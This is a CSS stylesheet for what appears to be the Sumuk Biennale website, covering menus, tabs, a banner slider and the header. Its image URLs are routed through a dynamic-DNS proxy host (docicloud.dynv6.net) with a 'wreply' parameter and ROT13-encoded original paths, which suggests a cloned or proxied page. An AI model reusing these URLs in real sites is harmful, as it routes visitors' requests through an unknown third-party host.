	.font-icon ul {height: 30px; border-radius: 15px; padding: 0 10px 0 12px;}
	.font-icon ul li {line-height: 30px; margin:0 3px; padding-top: 0;}
	.font-icon ul li .btn-f-s {font-size: 13px; line-height: 30px;}
	.font-icon ul li .btn-f-s i {font-size: 13px;}
	
	.print-icon {display: none !important;}

}






/*********** 컨텐츠  ***********/
/*메인*/
.main-content {width: 100%;}

/*서브*/
#contents {width: 100%;}
#contents:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}

span.tn {display: block; width: 0; height: 0; overflow:hidden; text-indent: -9999px;}


/*서브*/
.sub-content {width: 100%; position: relative;}
.sub-content:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}
.sub-content .sub-co-inner {border-left: 1px solid #e4e4e4;}

.sub-in-content {min-height: 500px;}
.sub-in-content:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;*zoom:1;}


@media screen and (max-width:1400px){
	.sub-content .sub-co-inner {padding-left: 0; padding-right:0; border-left: none;}
}

@media screen and (max-width:1000px){
	/*메인*/
	.main-content {padding-bottom: 0;}

	/*서브*/
	.sub-content {}
	.sub-content .sub-co-inner {}

	.sub-in-content {min-height: auto;}
}

/* 2022.12.12 수정 */
/*********** 서브 left 메뉴 ***********/
#sub-left-menu-wrap {float: left; width: 260px; border-right: 1px solid #e4e4e4; padding: 55px 0 0;}
#sub-left-menu-wrap h2 {font-size: 35px; font-weight: 500; color: #111; text-align: center; margin:0 0 23px; word-break: keep-all;}
.sub-left-menu-ul {width: 100%; border-top: 1px solid #e4e4e4;}
.sub-left-menu-ul > li {}
.sub-left-menu-ul > li > a {display: block; position:relative; width: 100%; padding: 20px 40px 20px 25px; background-color:#dbf1fe; border-bottom: 1px solid #ccc;}
.sub-left-menu-ul > li > a:after { visibility: hidden;display:block;font-size: 0;content:".";clear: both;height: 0;}
.sub-left-menu-ul > li > a .txt {float: left; width: calc(100% - 20px); padding-right: 10px; font-size: 16px; color: #333;}
.sub-left-menu-ul > li > a .icon {display:none; position:absolute; right:20px; top:22px; }
.sub-left-menu-ul > li > a .icon i {font-size: 20px; color:#999;}
.sub-left-menu-ul > li.active > a {background-color: #0e7bbe; border-color: #0e7bbe;}
.sub-left-menu-ul > li.active .txt {color: #fff; font-weight: 500;}
.sub-left-menu-ul > li.active .icon i {color: #fff;}

.sub-left-menu-depth3 {display:none; background-color: #f4f4f4; border-bottom: 1px solid #e4e4e4; padding: 7px 0;}
.sub-left-menu-depth3 > li {}
.sub-left-menu-depth3 > li > a {padding: 10px 20px 10px 25px; font-size: 15px; display: flex; justify-content: space-between; align-items: center; position: relative;}
.sub-left-menu-depth3 > li > a i {position: absolute; top: 13px; right: 24px;}
.sub-left-menu-depth3 > li > a:hover,
.sub-left-menu-depth3 > li > a:focus {color: #0e7bbe; text-decoration: underline; font-weight: 500;}
.sub-left-menu-depth3 > li.active > a {color: #0e7bbe; text-decoration: underline; font-weight: 500;}

.sub-left-menu-depth4 {display: none; padding: 8px 0; border-top: 1px solid #ddd; border-bottom: 1px solid #ddd; background-color: #fbfbfb;}
.sub-left-menu-depth4 > li {padding: 3px 30px;}
.sub-left-menu-depth4 > li > a {font-size: 14px; line-height: 1.2; padding-left: 10px; display: inline-flex; position: relative;}
.sub-left-menu-depth4 > li > a::before {content: ""; position: absolute; top: 8px; left: 0; width: 5px; height: 1px; background-color: #333;}
.sub-left-menu-depth4 > li > a:hover,
.sub-left-menu-depth4 > li > a:focus {color: #0e7bbe; text-decoration: underline;}

.sub-left-menu-ul > li.active .sub-left-menu-depth3 {display: block;}
.sub-left-menu-depth4 > li.active > a {font-weight: bold;}

@media screen and (max-width:1300px){
	#sub-left-menu-wrap {width: 20%;}
}


@media screen and (max-width:1000px){	
	#sub-left-menu-wrap {display: none;}
}
/* // 2022.12.12 */




/*********** 서브 right 컨텐츠 ***********/
#sub-rb-con-wrap {float: left; width: calc(100% - 260px); border-left: 1px solid #e4e4e4; margin-left: -1px; padding: 55px 20px 150px 44px;}

/*서브 타이틀*/
.sub-top-title-01 {width: 100%; padding-bottom: 30px; margin-bottom: 50px; position: relative;}
.sub-top-title-01 h1 {font-size: 30px; font-weight: 500; color: #0e7bbe;}
.sub-top-title-01:before {content: ""; width: 53px; height: 2px; background-color: #0e7bbe; position: absolute; left: 3px; bottom: 0;}


@media screen and (max-width:1300px){
	#sub-rb-con-wrap {width: 80%; padding-left: 30px; padding-right:15px;}
}



@media screen and (max-width:1000px){	
	#sub-rb-con-wrap {float: none; width: 100%; border-left: none; margin-left: 0; padding: 30px 15px 50px;}

	/*서브 타이틀*/
	.sub-top-title-01 {padding-bottom: 10px; margin-bottom: 20px;}
	.sub-top-title-01 h1 {font-size: 20px;}
	.sub-top-title-01:before {width: 30px; height: 1px; left: 1px;}	
}





/*********** 서브 TOP 버튼  ***********/
.sub-topUp-btn {position: fixed; right: 5%; bottom: 30%; background-color: #0e7bbe; width: 75px; height: 75px; border-radius: 50%; text-align: center; transition: all 0.25s ease;}
.sub-topUp-btn .icon {display: block; text-align: center; height: 10px;}
.sub-topUp-btn .txt {text-align: center; font-size: 15px; color: #fff; letter-spacing: 0;}
.sub-topUp-btn:hover,
.sub-topUp-btn:focus {background-color: #008be4;}

@media screen and (max-width:1700px){
	.sub-topUp-btn {right: 1%;}
}

@media screen and (max-width:1460px){
	.sub-topUp-btn {display: none;}
}





/*********** 상단 sns 버튼 ***********/
.top_sns_ul {float: left; vertical-align: middle; padding-top: 12px; margin-right: -5px;}
.top_sns_ul::after {content: ""; display: block; clear: both;}
.top_sns_ul li {display: inline-block; vertical-align: middle; margin-left: 2px;}


@media screen and (max-width:1100px){
	.top_sns_ul {display: none;}
}




/******** 2020-11-13 지난수묵비엔날레 탭 ********/
.sumuk_exhibi_tab_wrap {width: 100%; margin-bottom: 90px; border-bottom: 1px solid #ddd;}
.sumuk_exhibi_tab {display: flex;}
.sumuk_exhibi_tab > li {flex-grow: 1; flex-basis: 20%; text-align: center;}
.sumuk_exhibi_tab > li a {display: block; padding-bottom: 15px; position: relative;}
.sumuk_exhibi_tab > li a::before {content: ""; display: block; position: absolute; left: 50%; bottom: -1px; height: 3px; width: 0px; background-color: #0e7bbe; transition: all .25s ease;}
.sumuk_exhibi_tab > li .icon {display: inline-block; width: 43px; height: 42px; background-repeat: no-repeat; background-position: center center; background-size: 100%; transition: all .25s ease;}
.sumuk_exhibi_tab > li .icon.n01 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_01_oynpx.cat');}
.sumuk_exhibi_tab > li .icon.n02 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_02_oynpx.cat');}
.sumuk_exhibi_tab > li .icon.n03 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_03_oynpx.cat');}
.sumuk_exhibi_tab > li .icon.n04 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_04_oynpx.cat');}
.sumuk_exhibi_tab > li .icon.n05 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_05_oynpx.cat');}
.sumuk_exhibi_tab > li .txt {font-size: 17px; color: #666; margin-top: 3px; transition: all .25s ease;}

.sumuk_exhibi_tab > li:hover a::before {left: 0; width: 100%;}
.sumuk_exhibi_tab > li:hover .txt {color: #0e7bbe; font-weight: 600;}
.sumuk_exhibi_tab > li:hover .icon.n01 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_01_oyhr.cat');}
.sumuk_exhibi_tab > li:hover .icon.n02 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_02_oyhr.cat');}
.sumuk_exhibi_tab > li:hover .icon.n03 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_03_oyhr.cat');}
.sumuk_exhibi_tab > li:hover .icon.n04 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_04_oyhr.cat');}
.sumuk_exhibi_tab > li:hover .icon.n05 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_05_oyhr.cat');}

.sumuk_exhibi_tab > li.active a::before {left: 0; width: 100%;}
.sumuk_exhibi_tab > li.active a::after {content: ""; width:0px; height:0px; border-top:15px solid transparent; border-bottom:15px solid #0e7bbe; border-left:15px solid transparent; transform: rotate(45deg); position: absolute; bottom: -10px;}
.sumuk_exhibi_tab > li.active .txt {color: #0e7bbe; font-weight: 600;}
.sumuk_exhibi_tab > li.active .icon.n01 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_01_oyhr.cat');}
.sumuk_exhibi_tab > li.active .icon.n02 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_02_oyhr.cat');}
.sumuk_exhibi_tab > li.active .icon.n03 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_03_oyhr.cat');}
.sumuk_exhibi_tab > li.active .icon.n04 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_04_oyhr.cat');}
.sumuk_exhibi_tab > li.active .icon.n05 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_05_oyhr.cat');}



@media screen and (max-width:999px){
	/******** 2020-11-13 지난수묵비엔날레 탭 ********/
	.sumuk_exhibi_tab_wrap {margin-bottom: 50px;}
	.sumuk_exhibi_tab {flex-wrap: wrap;}
	.sumuk_exhibi_tab > li {flex-grow: 0; flex-basis: 50%;}
	.sumuk_exhibi_tab > li a {padding-bottom: 7px; padding-top:15px;}
	.sumuk_exhibi_tab > li a::before {bottom: -1px; height: 2px;}
	.sumuk_exhibi_tab > li .icon {width: 30px; height: 30px;}
	.sumuk_exhibi_tab > li .txt {font-size: 14px; word-break: keep-all;}

	.sumuk_exhibi_tab > li:hover a::before {left: 0; width: 100%;}
	.sumuk_exhibi_tab > li:hover .txt {color: #0e7bbe; font-weight: 600;}
	.sumuk_exhibi_tab > li:hover .icon.n01 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_01_oyhr.cat');}
	.sumuk_exhibi_tab > li:hover .icon.n02 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_02_oyhr.cat');}
	.sumuk_exhibi_tab > li:hover .icon.n03 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_03_oyhr.cat');}
	.sumuk_exhibi_tab > li:hover .icon.n04 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_04_oyhr.cat');}
	.sumuk_exhibi_tab > li:hover .icon.n05 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_05_oyhr.cat');}

	.sumuk_exhibi_tab > li.active a::before {left: 0; width: 100%;}
	.sumuk_exhibi_tab > li.active a::after {border-top:7px solid transparent; border-bottom:7px solid #0e7bbe; border-left:7px solid transparent; transform: rotate(45deg); bottom: -5px;}
	.sumuk_exhibi_tab > li.active .txt {color: #0e7bbe; font-weight: 600;}
	.sumuk_exhibi_tab > li.active .icon.n01 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_01_oyhr.cat');}
	.sumuk_exhibi_tab > li.active .icon.n02 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_02_oyhr.cat');}
	.sumuk_exhibi_tab > li.active .icon.n03 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_03_oyhr.cat');}
	.sumuk_exhibi_tab > li.active .icon.n04 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_04_oyhr.cat');}
	.sumuk_exhibi_tab > li.active .icon.n05 {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Svpba%2Svpba_rkuvov_gno_05_oyhr.cat');}
}




/***********  ***********/

/******** 2021-06-16 퀵메뉴 추가*******/
.main-slide-wrap {position:relative;}
.m_quickMenuBox {width:110px; position:fixed; top:30%; right:30px; z-index:100; background-color:#fff; border-radius:10px; overflow:hidden; border:1px solid #ddd;}
.m_quickMenuBox p.m_tit {background-color:#1574b1; color:#fff; text-align:center; padding:10px; font-size:14px; border-bottom:1px solid #1574b1;}
.m_quickMenuBox .quickM_list {padding:17px 7px; text-align:center;}
.m_quickMenuBox .quickM_list img {width:40px;}
.m_quickMenuBox .quickM_list .txt {color:#333; text-align:center; font-size:14px; padding-top:10px; line-height:1.3;
font-size:14px; padding-top:6px; line-height:1.3; font-weight:300;}
  #mobileQuick {display:none;}


@media screen and (max-width:900px){
/******** 2021-06-16 퀵메뉴 추가*******/
.m_quickMenuBox {display:none;}
#mobileQuick {display : block;}
}

/******** 2021-06-28 퀵메뉴 수정  ********/
.m_quickMenuBox {height:280px;}
.m_quickMenuBox .quickM_list li {margin-bottom:10px;}
.m_quickMenuBox .quickM_list li:last-child {margin-bottom:0;}
.m_quickMenuBox .quickM_list li.quick_treasure img {width:70%;}

/* 250428 메인배너 수정 */
/***********************************************

    main visual 영역

***********************************************/
.main_visual {display:flex; justify-content:center; align-items: center; width:100%; position: relative;}

.main_visual .mv_center {width: 100%; height: fit-content;}
.main_visual .mv_center .swiper-wrapper .swiper-slide {border-bottom:1px solid #ddd;}
.main_visual .mv_center .btn {position:absolute; right:0; bottom:0; z-index:9; display:flex; align-items:center; background:rgba(0, 0, 0, 0.486); height:54px; padding:0 34px; border-top-left-radius:10px;}
.main_visual .mv_center .button-next {color:#fff; width:25px; font-size:18px; margin-left:10px;}
.main_visual .mv_center .button-prev {color:#fff; width:25px; font-size:18px;}
.main_visual .mv_center .pagination {color:#fff; font-size:20px; margin-right:10px;}
.main_visual .mv_center .swiper-pagination-current {font-weight:700; font-size:22px;}

.mv-btn-box {padding: 15px 20px; border-radius: 60px; background: #0000009d; backdrop-filter: blur(5px); display: flex; align-items: center; justify-content: center; gap: 10px;
	position: absolute; bottom: 25px; left: 50%; transform: translateX(-50%); z-index: 10;}
.mv-btn-box button {width: 20px; height: 15px;}
.mv-btn-box .prev-btn {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Sznva%2Svpba_neebj.fit) no-repeat center; transform: rotate(180deg);}
.mv-btn-box .next-btn {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Sznva%2Svpba_neebj.fit) no-repeat center;}
.mv-btn-box .play-btn-wrap {position: relative; width: 15px; height: 15px;}
.mv-btn-box .play-btn-wrap button {position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%);}
.mv-btn-box .pause-btn {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Sznva%2Svpba_cnhfr.fit) no-repeat center;}
.mv-btn-box .play-btn {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfhzhxovraanyr.xe%2Serfbheprf%2Svzt%2Sznva%2Svpba_cynl.fit) no-repeat center; display: none;}
.mv-btn-box .mv-pagination {position: initial; margin-left: 20px;}
.mv-btn-box .mv-pagination {width: fit-content !important; display: flex; align-items: center; gap: 10px;}
.mv-btn-box .mv-pagination .swiper-pagination-bullet {margin: 0 !important; width: 15px; height: 15px; border: 3px solid #fff; background: transparent; opacity: 1;}
.mv-btn-box .mv-pagination .swiper-pagination-bullet-active {background: #fff;}

@media screen and (max-width: 1080px){
	.mv-btn-box {padding: 10px 15px; gap: 5px; bottom: 10px;}
	.mv-btn-box .mv-pagination .swiper-pagination-bullet {width: 10px; height: 10px; border: 2px solid #fff;}

}
@media screen and (max-width: 768px){
	.mv-btn-box button {width: 15px; height: 10px;}
	.mv-btn-box .mv-pagination {margin-left: 10px;}
	.mv-btn-box .mv-pagination .swiper-pagination-bullet {width: 8px; height: 8px; border: 2px solid #fff;}

}
@media screen and (max-width: 480px){
	.main_visual {padding: 20px 0; background: #f8f8f8;}
	.mv-btn-box {padding: 5px 15px; gap: 3px; background: #0000006e;}
	.mv-btn-box .mv-pagination {gap: 4px;}

}
/* 250428 메인배너 수정 // */


/*********************************************** 

    header 수정

***********************************************/



/* 240820 수정 */
.nav_dg01 .nd_ul {display:flex; align-items:center; justify-content:center; gap: 20px; height: 100%;}
.nav_dg01 .nd_ul .nd_li01 {position: relative; z-index: 010000;}
.nav_dg01 .nd_ul .nd_li02 {position: relative; z-index: 10000;}
.nav_dg01 .nd_ul .nd_li01 a, .nav_dg01 .nd_ul .nd_li02 a  {font-size:14px;}
.nav_dg01 .nd_ul .nd_li01:hover, .nav_dg01 .nd_ul .nd_li02:hover {font-weight:700; color:#2c6db8;}
.nav_dg01 .nd_ul .nd_li01 a img, .nav_dg01 .nd_ul .nd_li02 a img {}

.nd_sub_ul {display:none; width: 100px;  position:absolute;  background: #2c6db8; padding:0 10px; text-align:center; top: 75%; z-index: 10000; border-radius:5px;}
.nd_sub_ul li {margin:10px 0;}
.nd_sub_ul li a {display:block; color:#fff;}
.nd_sub_ul li a:hover {text-decoration: underline;}


.nd_sy01 {right:232px;}
.nd_sy02 {right: 155px;}

#gnb > li:before {display:none;}

@media screen and (max-width: 1750px) {
	.nd_sy01 {right: 165px;}
	.nd_sy02 {right: 85px;}
}
@media screen and (max-width: 1400px) {
	/* #hd .hd_gnb .hdDday-b {display:none;} */
	.nav_dg01 .nd_ul {gap: 15px;}
	
	.nd_sy01 {right: 150px;}
	.nd_sy02 {right: 80px;}
}


/* 최상단 디데이 */
#hd .exhib-promotion {padding: 0 20px; height: 50px; gap: 8px; background-color: #0e7bbe; color: #fff; display: flex; justify-content: center; align-items: center; text-align: center; font-size: 18px;}
#hd .exhib-promotion .d-day {font-weight: 800; color: #fff; display: flex; align-items: center; gap: 3px; font-size: 18px;}
#hd .exhib-promotion .d-day .num {background-color: #fff; color: #0e7bbe; border-radius: 5px;width: 24px; height: 30px; font-size: 18px; font-weight: 600; display: flex; align-items: center; justify-content: center;}

@media screen and (max-width: 1080px) {
	#hd .exhib-promotion, #hd .exhib-promotion .d-day, #hd .exhib-promotion .d-day .num {font-size: 15px;}
}
@media screen and (max-width: 360px) {
	#hd .exhib-promotion, #hd .exhib-promotion .d-day, #hd .exhib-promotion .d-day .num {font-size: 14px; letter-spacing: -2px;}
	#hd .exhib-promotion .d-day .num {width: 20px; height: 25px;}
}